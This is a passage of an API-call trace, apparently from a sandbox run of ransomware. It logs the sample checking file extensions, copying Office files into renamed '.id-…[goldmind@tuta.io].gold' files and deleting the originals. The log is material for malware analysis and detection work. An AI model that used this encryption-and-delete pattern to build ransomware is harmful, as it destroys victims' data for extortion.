(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 1 [0114.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.411] lstrlenW (lpString=".doc") returned 4 [0114.411] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.411] lstrlenW (lpString=".docx") returned 5 [0114.411] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.411] lstrlenW (lpString=".pdf") returned 4 [0114.411] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.411] lstrlenW (lpString=".xls") returned 4 [0114.411] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.411] lstrlenW (lpString=".xlsx") returned 5 [0114.411] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.411] lstrlenW (lpString=".ppt") returned 4 [0114.411] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".zip") returned 4 [0114.412] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString=".rar") returned 4 [0114.412] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString=".bz2") returned 4 [0114.412] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.412] lstrlenW (lpString=".7z") returned 3 [0114.412] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".dbf") returned 4 [0114.412] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".1cd") returned 4 [0114.412] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".jpg") returned 4 [0114.412] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".doc") returned 4 [0114.412] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.412] lstrlenW (lpString=".docx") returned 5 [0114.412] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.412] lstrlenW (lpString=".pdf") returned 4 [0114.412] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString=".xls") returned 4 [0114.412] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString=".xlsx") returned 5 [0114.412] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.412] lstrlenW (lpString=".ppt") returned 4 [0114.412] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.412] lstrlenW (lpString=".zip") returned 4 [0114.412] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.412] lstrlenW (lpString=".rar") returned 4 [0114.413] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.413] lstrlenW (lpString=".bz2") returned 4 [0114.413] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.413] lstrlenW (lpString=".7z") returned 3 [0114.413] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.413] lstrlenW (lpString=".dbf") returned 4 [0114.413] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.413] lstrlenW (lpString=".1cd") returned 4 [0114.413] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0114.413] lstrlenW (lpString=".jpg") returned 4 [0114.413] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.413] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.413] lstrlenW (lpString="IPM.CFG") returned 7 [0114.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.414] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=795) returned 1 [0114.414] CloseHandle (hObject=0x3d0) returned 1 [0114.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 0x20 [0114.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.415] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.415] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.416] GetLastError () returned 0x0 [0114.416] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x31b, lpOverlapped=0x0) returned 1 [0114.447] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x320, lpOverlapped=0x0) returned 1 [0114.448] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.448] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0114.448] SetEndOfFile (hFile=0x3e0) returned 1 [0114.449] CloseHandle (hObject=0x3e0) returned 1 [0114.449] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.449] SetEndOfFile (hFile=0x3d0) returned 1 [0114.451] CloseHandle (hObject=0x3d0) returned 1 [0114.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 1 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString=".doc") returned 4 [0114.453] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString=".docx") returned 5 [0114.453] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0114.453] lstrlenW (lpString=".pdf") returned 4 [0114.453] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString=".xls") returned 4 [0114.453] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString=".xlsx") returned 5 [0114.453] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0114.453] lstrlenW (lpString=".ppt") returned 4 [0114.453] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString=".zip") returned 4 [0114.453] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString=".rar") returned 4 [0114.453] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString=".bz2") returned 4 [0114.453] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.453] lstrlenW (lpString=".7z") returned 3 [0114.453] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString=".dbf") returned 4 [0114.453] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString=".1cd") returned 4 [0114.453] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.453] lstrlenW (lpString=".jpg") returned 4 [0114.453] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString=".doc") returned 4 [0114.454] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString=".docx") returned 5 [0114.454] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0114.454] lstrlenW (lpString=".pdf") returned 4 [0114.454] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString=".xls") returned 4 [0114.454] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString=".xlsx") returned 5 [0114.454] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0114.454] lstrlenW (lpString=".ppt") returned 4 [0114.454] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString=".zip") returned 4 [0114.454] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString=".rar") returned 4 [0114.454] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString=".bz2") returned 4 [0114.454] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.454] lstrlenW (lpString=".7z") returned 3 [0114.454] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString=".dbf") returned 4 [0114.454] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString=".1cd") returned 4 [0114.454] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0114.454] lstrlenW (lpString=".jpg") returned 4 [0114.454] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.454] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.454] lstrlenW (lpString="IPMS.ICO") returned 8 [0114.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.455] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0114.455] CloseHandle (hObject=0x3d0) returned 1 [0114.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 0x20 [0114.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.456] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.456] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.456] GetLastError () returned 0x0 [0114.456] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.458] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.459] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.459] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.459] SetEndOfFile (hFile=0x3e0) returned 1 [0114.459] CloseHandle (hObject=0x3e0) returned 1 [0114.459] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.459] SetEndOfFile (hFile=0x3d0) returned 1 [0114.460] CloseHandle (hObject=0x3d0) returned 1 [0114.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico")) returned 1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".doc") returned 4 [0114.462] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.462] lstrlenW (lpString=".docx") returned 5 [0114.462] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.462] lstrlenW (lpString=".pdf") returned 4 [0114.462] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".xls") returned 4 [0114.462] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".xlsx") returned 5 [0114.462] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.462] lstrlenW (lpString=".ppt") returned 4 [0114.462] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".zip") returned 4 [0114.462] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".rar") returned 4 [0114.462] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".bz2") returned 4 [0114.462] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.462] lstrlenW (lpString=".7z") returned 3 [0114.462] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".dbf") returned 4 [0114.462] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".1cd") returned 4 [0114.462] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".jpg") returned 4 [0114.462] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".doc") returned 4 [0114.462] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.462] lstrlenW (lpString=".docx") returned 5 [0114.462] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.462] lstrlenW (lpString=".pdf") returned 4 [0114.462] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".xls") returned 4 [0114.462] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".xlsx") returned 5 [0114.462] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.462] lstrlenW (lpString=".ppt") returned 4 [0114.462] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.462] lstrlenW (lpString=".zip") returned 4 [0114.462] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.462] lstrlenW (lpString=".rar") returned 4 [0114.462] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.463] lstrlenW (lpString=".bz2") returned 4 [0114.463] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.463] lstrlenW (lpString=".7z") returned 3 [0114.463] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.463] lstrlenW (lpString=".dbf") returned 4 [0114.463] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.463] lstrlenW (lpString=".1cd") returned 4 [0114.463] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO") returned 62 [0114.463] lstrlenW (lpString=".jpg") returned 4 [0114.463] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.463] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.463] lstrlenW (lpString="MMSL.ICO") returned 8 [0114.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.463] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=10134) returned 1 [0114.464] CloseHandle (hObject=0x3d0) returned 1 [0114.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 0x20 [0114.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.464] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.464] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.465] GetLastError () returned 0x0 [0114.465] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x2796, lpOverlapped=0x0) returned 1 [0114.466] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0114.467] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.467] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.467] SetEndOfFile (hFile=0x3e0) returned 1 [0114.468] CloseHandle (hObject=0x3e0) returned 1 [0114.468] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.468] SetEndOfFile (hFile=0x3d0) returned 1 [0114.469] CloseHandle (hObject=0x3d0) returned 1 [0114.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico")) returned 1 [0114.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.470] lstrlenW (lpString=".doc") returned 4 [0114.470] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.470] lstrlenW (lpString=".docx") returned 5 [0114.471] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.471] lstrlenW (lpString=".pdf") returned 4 [0114.471] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".xls") returned 4 [0114.471] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".xlsx") returned 5 